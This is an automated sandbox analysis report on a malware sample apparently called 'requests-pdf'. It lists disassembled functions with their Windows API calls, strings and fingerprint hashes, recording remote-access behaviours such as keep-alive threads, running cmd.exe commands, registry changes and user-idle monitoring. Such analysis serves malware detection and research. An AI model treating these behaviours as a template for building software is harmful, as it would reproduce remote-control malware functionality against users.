                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseErrorHandleLast__dosmaperr
                                                    • String ID: `@
                                                    • API String ID: 2583163307-951712118
                                                    • Opcode ID: e5cf9cf0863519c22c59f520a66439faf8bffb0939932f5db486048d3d382d3d
                                                    • Instruction ID: 1bd3c876d7044edfb1a6812000b34c32b622226010ed5631802de8abdb52b33d
                                                    • Opcode Fuzzy Hash: e5cf9cf0863519c22c59f520a66439faf8bffb0939932f5db486048d3d382d3d
                                                    • Instruction Fuzzy Hash: F8018E366446201AF7206674698577F77898B82738F2A027FF904972D2DE6DCCC5C19F
                                                    Function 00404915 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60timethreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(?), ref: 00404946
                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404994
                                                    • CreateThread.KERNEL32(00000000,00000000,00404B1D,?,00000000,00000000), ref: 004049A7
                                                    Strings
                                                    • KeepAlive | Enabled | Timeout: , xrefs: 0040495C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Create$EventLocalThreadTime
                                                    • String ID: KeepAlive | Enabled | Timeout:
                                                    • API String ID: 2532271599-1507639952
                                                    • Opcode ID: 039a83a3673151248ce1c058b5ed99207d7e0ff837a33c13ebd59ef1524b6346
                                                    • Instruction ID: c7daaf492e0cec12b0841424890a61be8e5b61f5a3177df3d8f4b9063cedc03f
                                                    • Opcode Fuzzy Hash: 039a83a3673151248ce1c058b5ed99207d7e0ff837a33c13ebd59ef1524b6346
                                                    • Instruction Fuzzy Hash: 38113AB19042547AC710A7BA8C49BCB7F9C9F86364F00407BF40462192C7789845CBFA
                                                    Function 024D4B7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60timethreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(?), ref: 024D4BAD
                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 024D4BFB
                                                    • CreateThread.KERNEL32(00000000,00000000,00404B1D,?,00000000,00000000), ref: 024D4C0E
                                                    Strings
                                                    • KeepAlive | Enabled | Timeout: , xrefs: 024D4BC3
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Create$EventLocalThreadTime
                                                    • String ID: KeepAlive | Enabled | Timeout:
                                                    • API String ID: 2532271599-1507639952
                                                    • Opcode ID: 039a83a3673151248ce1c058b5ed99207d7e0ff837a33c13ebd59ef1524b6346
                                                    • Instruction ID: c2016cc1f36e69eaffab86f7fb80a1db56feb2e0fa6f6ae6b9067463e5df6b61
                                                    • Opcode Fuzzy Hash: 039a83a3673151248ce1c058b5ed99207d7e0ff837a33c13ebd59ef1524b6346
                                                    • Instruction Fuzzy Hash: 1D11A3719042647BCB11AB7A9C18BDB7FA8AF46354F40406BE40552251DBB49485CBF6
                                                    Function 024EA6CA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024EB3C2: GetCurrentProcess.KERNEL32(00000003,?,?,024EA6D8,00000000,00474358,00000003,0046662C,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 024EB3D3
                                                      • Part of subcall function 024EB3C2: IsWow64Process.KERNEL32(00000000,?,?,024EA6D8,00000000,00474358,00000003,0046662C,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 024EB3DA
                                                      • Part of subcall function 024E277A: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 024E279E
                                                      • Part of subcall function 024E277A: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000400), ref: 024E27BB
                                                      • Part of subcall function 024E277A: RegCloseKey.ADVAPI32(?), ref: 024E27C6
                                                    • StrToIntA.SHLWAPI(00000000,0046BC48,?,00000000,00000000,00474358,00000003,0046662C,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 024EA740
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseCurrentOpenQueryValueWow64
                                                    • String ID: (32 bit)$ (64 bit)$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                    • API String ID: 782494840-214125106
                                                    • Opcode ID: 6ae090941000325c3c897e8fa024b5b50426e295cbf2c4f387652279544f3053
                                                    • Instruction ID: 05fbb75d6dece2f5f8948636c7f2f30945afc6701e35a4afeee8ff9019dd2887
                                                    • Opcode Fuzzy Hash: 6ae090941000325c3c897e8fa024b5b50426e295cbf2c4f387652279544f3053
                                                    • Instruction Fuzzy Hash: 23112950A0020626EB05F3659CAFE6F366FDB80301F90443FE912932D1EF948E468BE6
                                                    Function 00404B29 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00404B26), ref: 00404B40
                                                    • CloseHandle.KERNEL32(?,?,?,?,00404B26), ref: 00404B98
                                                    • SetEvent.KERNEL32(?,?,?,?,00404B26), ref: 00404BA7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEventHandleObjectSingleWait
                                                    • String ID: Connection Timeout
                                                    • API String ID: 2055531096-499159329
                                                    • Opcode ID: a97e81c914b9350505812461b63a63b2fd2cd8a093a8b12f04dedae0d79932b3
                                                    • Instruction ID: ea4abd021a31a941d528121f8d879e106695b0b6a7a7fd2d86c7f06b9a048df4
                                                    • Opcode Fuzzy Hash: a97e81c914b9350505812461b63a63b2fd2cd8a093a8b12f04dedae0d79932b3
                                                    • Instruction Fuzzy Hash: 7A01F5B1940B41AFD325BB3A9C4645ABBE4AB45315700053FF6D392BB1DA38E8408B5A
                                                    Function 0040CDBE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040CDC9
                                                    • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040CE08
                                                      • Part of subcall function 004347BD: _Yarn.LIBCPMT ref: 004347DC
                                                      • Part of subcall function 004347BD: _Yarn.LIBCPMT ref: 00434800
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040CE2C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                    • String ID: bad locale name
                                                    • API String ID: 3628047217-1405518554
                                                    • Opcode ID: 07a2f8cd9595a8075203c453c032e2fb497ed10d9d6fcf4fa69d5ee2e3489bdb
                                                    • Instruction ID: 69d9b4558c1556c2c918d31b5ea24064f6fee533cc814fb99c42b36f0b05f267
                                                    • Opcode Fuzzy Hash: 07a2f8cd9595a8075203c453c032e2fb497ed10d9d6fcf4fa69d5ee2e3489bdb
                                                    • Instruction Fuzzy Hash: 1AF08171400204EAC724FB23D853ACA73A49F54748F90497FB506214D2EF38A618CA8C
                                                    Function 004126D2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,004655B0), ref: 004126E1
                                                    • RegSetValueExA.ADVAPI32(004655B0,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041BC46,WallpaperStyle,004655B0,00000001,00473EE8,00000000), ref: 00412709
                                                    • RegCloseKey.ADVAPI32(004655B0,?,?,0041BC46,WallpaperStyle,004655B0,00000001,00473EE8,00000000,?,004079DD,00000001), ref: 00412714
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateValue
                                                    • String ID: Control Panel\Desktop
                                                    • API String ID: 1818849710-27424756
                                                    • Opcode ID: 3aedce82be745f7a8d31741b6ddf3b86529f340df0cdc46c1cf573c60441b443
                                                    • Instruction ID: d7c223529d0a909ac1d5b5cf1be9cbd74eb10d05c00374dbcf2eb8abb0eb8976
                                                    • Opcode Fuzzy Hash: 3aedce82be745f7a8d31741b6ddf3b86529f340df0cdc46c1cf573c60441b443
                                                    • Instruction Fuzzy Hash: 98F09032040104FBCB019FA0ED55EEF37ACEF04751F108139FD06A61A1EA75DE04EA94
                                                    Function 024E2939 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,004655B0), ref: 024E2948
                                                    • RegSetValueExA.ADVAPI32(004655B0,0046BE08,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,024EBEAD,0046BE08,004655B0,00000001,00473EE8,00000000), ref: 024E2970
                                                    • RegCloseKey.ADVAPI32(004655B0,?,?,024EBEAD,0046BE08,004655B0,00000001,00473EE8,00000000,?,024D7C44,00000001), ref: 024E297B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateValue
                                                    • String ID: Control Panel\Desktop
                                                    • API String ID: 1818849710-27424756
                                                    • Opcode ID: 3aedce82be745f7a8d31741b6ddf3b86529f340df0cdc46c1cf573c60441b443
                                                    • Instruction ID: 7371091c7c025e2ac22599dcbbaff5f18e7e5e224e8915461b8989522f0cde3a
                                                    • Opcode Fuzzy Hash: 3aedce82be745f7a8d31741b6ddf3b86529f340df0cdc46c1cf573c60441b443
                                                    • Instruction Fuzzy Hash: 6FF06D32540104BBDF019FA1EC24EEE376DEF00651B10812AFE06A6161EA719E04DE50
                                                    Function 024D1FF8 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: H_prolog
                                                    • String ID: T=G$T=G$wkE
                                                    • API String ID: 3519838083-2195589345
                                                    • Opcode ID: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                    • Instruction ID: bb8342cead6bf6d1cf7e0cb102520925716ccbc351365b781a4a1b261c585630
                                                    • Opcode Fuzzy Hash: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                    • Instruction Fuzzy Hash: 90F0E971B00120ABCB19EF65C814B5EB676EB81325F10C26FE855BB2A2CBF94D05CF65
                                                    Function 004127D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                    • RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 004127FE
                                                    • RegCloseKey.ADVAPI32(?,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 00412809
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateValue
                                                    • String ID: TUF
                                                    • API String ID: 1818849710-3431404234
                                                    • Opcode ID: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                    • Instruction ID: 4d8f19d4f5fba69279ea975c705bdc3302fb28fe13ea63ccb444db4f968143a5
                                                    • Opcode Fuzzy Hash: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                    • Instruction Fuzzy Hash: 8DE03071540204BFEF115B909C05FDB3BA8EB05B95F004161FA05F6191D271CE14D7A4
                                                    Function 024E2A3C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 024E2A4A
                                                    • RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,024DBBB3,004660E0,00000001,000000AF,00465554), ref: 024E2A65
                                                    • RegCloseKey.ADVAPI32(?,?,?,?,024DBBB3,004660E0,00000001,000000AF,00465554), ref: 024E2A70
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateValue
                                                    • String ID: TUF
                                                    • API String ID: 1818849710-3431404234
                                                    • Opcode ID: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                    • Instruction ID: 4548094f4b3cebc4daa21e93e6986ff6d249d4d954c343410156bc181a8ad5da
                                                    • Opcode Fuzzy Hash: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                    • Instruction Fuzzy Hash: E1E03071540204BBEF219BA09C05FDB3BACEB04B95F004061FA05E6191D271CE04D794
                                                    Function 004151B2 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 004151F4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExecuteShell
                                                    • String ID: /C $cmd.exe$open
                                                    • API String ID: 587946157-3896048727
                                                    • Opcode ID: b29912c7ec69b7e063321f84cff0ad8ed8559f61d9423d2534ea1fccbc267807
                                                    • Instruction ID: 3ae8c2b06d9b1922b9065f49b1512f2a4b1b87a12dccb2265ed1bd098505db2c
                                                    • Opcode Fuzzy Hash: b29912c7ec69b7e063321f84cff0ad8ed8559f61d9423d2534ea1fccbc267807
                                                    • Instruction Fuzzy Hash: D8E030701043006AC708FB61DC95C7F77AC9A80708F10083EB542A21E2EF3CA949C65E
                                                    Function 00401430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 0040143A
                                                    • GetProcAddress.KERNEL32(00000000), ref: 00401441
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressHandleModuleProc
                                                    • String ID: GetCursorInfo$User32.dll
                                                    • API String ID: 1646373207-2714051624
                                                    • Opcode ID: f39e1638c21b7beb4c7105e5daed03b820dcbd0345c10e5d325762a4e30a7452
                                                    • Instruction ID: fea3bfcfa5ad703f85b7dd8d5f3eac54d033561bc9bd2fc33d3800e380b32b62
                                                    • Opcode Fuzzy Hash: f39e1638c21b7beb4c7105e5daed03b820dcbd0345c10e5d325762a4e30a7452
                                                    • Instruction Fuzzy Hash: 51B092B868A3059BC7306BE0BD0EA093B24EA44703B1000B2F087C12A1EB7880809A6E
                                                    Function 004014D5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryA.KERNEL32(User32.dll,GetLastInputInfo), ref: 004014DF
                                                    • GetProcAddress.KERNEL32(00000000), ref: 004014E6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressLibraryLoadProc
                                                    • String ID: GetLastInputInfo$User32.dll
                                                    • API String ID: 2574300362-1519888992
                                                    • Opcode ID: 3fc7b1db73b7af1b2a271cc819159fe1e403f0356e3f7920f37c5b1d7d3a7c56
                                                    • Instruction ID: 425bdc246283df71b7ad83aa0519e38d385401eab2b134f4ae8d574857069069
                                                    • Opcode Fuzzy Hash: 3fc7b1db73b7af1b2a271cc819159fe1e403f0356e3f7920f37c5b1d7d3a7c56
                                                    • Instruction Fuzzy Hash: D7B092B85843849BC7202BE0BC0DA297BA4FA48B43720447AF406D11A1EB7881809F6F
                                                    Function 00448D0B Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __alldvrm$_strrchr
                                                    • String ID:
                                                    • API String ID: 1036877536-0
                                                    • Opcode ID: fd79a7ba97117714d85021eba27869df20238d29c0b4b296cd839071043617be
                                                    • Instruction ID: 63a095292c52d92af2bf19a392fdfa9b0d117a80b68c781492b1ecdde0b53e6f
                                                    • Opcode Fuzzy Hash: fd79a7ba97117714d85021eba27869df20238d29c0b4b296cd839071043617be
                                                    • Instruction Fuzzy Hash: 60A168729042469FFB21CF58C8817AEBBE2EF55314F24416FE5849B382DA3C8D45C759
                                                    Function 02518F72 Relevance: 6.3, APIs: 4, Instructions: 305COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __alldvrm$_strrchr
                                                    • String ID:
                                                    • API String ID: 1036877536-0
                                                    • Opcode ID: 34a4a8fdb2fbaed24085f9f51e48c21e05a0faa9b4c0d03c29d10533be22c836
                                                    • Instruction ID: dc33c4ddb3c0d462fc368df44cb2aba21e00b2c4364f9288b24482ac7c6f96de
                                                    • Opcode Fuzzy Hash: 34a4a8fdb2fbaed24085f9f51e48c21e05a0faa9b4c0d03c29d10533be22c836
                                                    • Instruction Fuzzy Hash: D3A146759403869FFB25CF28C8A0BBEBFE5FF55350F184169D5959B281C3348981CB58
                                                    Function 024EBA8B Relevance: 6.2, APIs: 4, Instructions: 214registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExA.ADVAPI32(80000002,0046BD30,00000000,00020019,?), ref: 024EBAAD
                                                    • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 024EBAF1
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: EnumOpen
                                                    • String ID:
                                                    • API String ID: 3231578192-0
                                                    • Opcode ID: c129c5d3b2225b1f8cda05c9a3a6c18510288d4317852ec5d704d9b0c7986d58
                                                    • Instruction ID: 6974c4806386424c36fd1a7c576e78c7ef91fbcd89a92250236a9a13c7610bee
                                                    • Opcode Fuzzy Hash: c129c5d3b2225b1f8cda05c9a3a6c18510288d4317852ec5d704d9b0c7986d58
                                                    • Instruction Fuzzy Hash: FB814D311082459BD365EF21D860FEFB7E9FF94301F40492FE98682195EF70AA49CE92
                                                    Function 02525C31 Relevance: 6.2, APIs: 4, Instructions: 152COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: 396dac2f3812ff065a3283cc201ba07d86737f2a766ab43e7d660d85bd51e2e6
                                                    • Instruction ID: 483692c8a757ec291265129547fedb3a81ee482ebe1d92facf5297ef62ccb948
                                                    • Opcode Fuzzy Hash: 396dac2f3812ff065a3283cc201ba07d86737f2a766ab43e7d660d85bd51e2e6
                                                    • Instruction Fuzzy Hash: 6741ED316005226BE72D6B78CC886AE3A67FF83374F950625F414D62D0F7748A498A59
                                                    Function 00441A81 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 9b4993e58d5b3b7c0490c3bd99df1984d1f8f515a64746adb67fb48e1b339b7f
                                                    • Instruction ID: 90b3d0a8f148eb65ba096d855dd205fb67a40d318d5acb0a54968c3478788488
                                                    • Opcode Fuzzy Hash: 9b4993e58d5b3b7c0490c3bd99df1984d1f8f515a64746adb67fb48e1b339b7f
                                                    • Instruction Fuzzy Hash: 10412B71A00744AFF724AF78CC41B6ABBE8EF88714F10452FF511DB291E679A9458788
                                                    Function 02511CE8 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 9b4993e58d5b3b7c0490c3bd99df1984d1f8f515a64746adb67fb48e1b339b7f
                                                    • Instruction ID: 2e654e9c3f4ca8c1834185f09c29d79fcec14bde1bd5a45ce01437c0fb652e63
                                                    • Opcode Fuzzy Hash: 9b4993e58d5b3b7c0490c3bd99df1984d1f8f515a64746adb67fb48e1b339b7f
                                                    • Instruction Fuzzy Hash: 3141D871A00B15AFE7249F78CC44B6A7BFAFBC9710F10C66AE2159B6C0D7719905CB84
                                                    Function 00404688 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,?), ref: 00404778
                                                    • CreateThread.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040478C
                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,?,00000000), ref: 00404797
                                                    • CloseHandle.KERNEL32(?,?,00000000,00000000,?,?,00000000), ref: 004047A0
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                    • String ID:
                                                    • API String ID: 3360349984-0
                                                    • Opcode ID: e7efdc3c20157fe016eb29e5a130d6f8c33beeccd37b3f6c9988191ed4582187
                                                    • Instruction ID: f4983b6e647f91c6eb1a16b69ab68a2f9d5597509a23169db7b615edd0c6cdea
                                                    • Opcode Fuzzy Hash: e7efdc3c20157fe016eb29e5a130d6f8c33beeccd37b3f6c9988191ed4582187
                                                    • Instruction Fuzzy Hash: 34417171508301ABC700FB61CC55D7FB7E9AFD5315F00093EF892A32E2EA389909866A
                                                    Function 024D48EF Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,?), ref: 024D49DF
                                                    • CreateThread.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 024D49F3
